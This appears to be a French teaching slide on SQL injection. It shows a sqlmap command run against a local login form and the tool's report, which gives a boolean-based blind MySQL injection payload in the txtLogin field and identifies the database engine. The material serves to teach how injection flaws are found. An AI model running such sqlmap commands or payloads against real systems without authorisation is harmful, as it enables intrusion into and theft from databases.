Accès à une base de données relationnelle : Problématiques d'injection SQL

• Lancez l'outil SqlMap en exécutant la ligne de commande suivante :
• $> sqlmap.py -u http://localhost:5000/login --data="txtLogin =x&txtPassword=y" --level=5
• Voici la fin du rapport produit par SqlMap:
• sqlmap identified the following injection point(s) with a total of 4023 HTTP(s) requests:
• ---
• Parameter: txtLogin (POST)
• Type: boolean-based blind
• Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
• Payload: txtLogin=x' RLIKE (SELECT (CASE WHEN (3074=3074) THEN 0x78 ELSE 0x28 END))-- rWGJ&txtPassword=y
• ---
• [08:49:36] [INFO] the back-end DBMS is MySQL
• Il faut noter que SqlMap a même réussit à déterminer la nature de votre moteur de base de données. C'est normal, chaque moteur a ses propres failles en termes d'« injection SQL ».

• Dominique Liard - Koor.fr - 2018 .. 2024

• <numéro>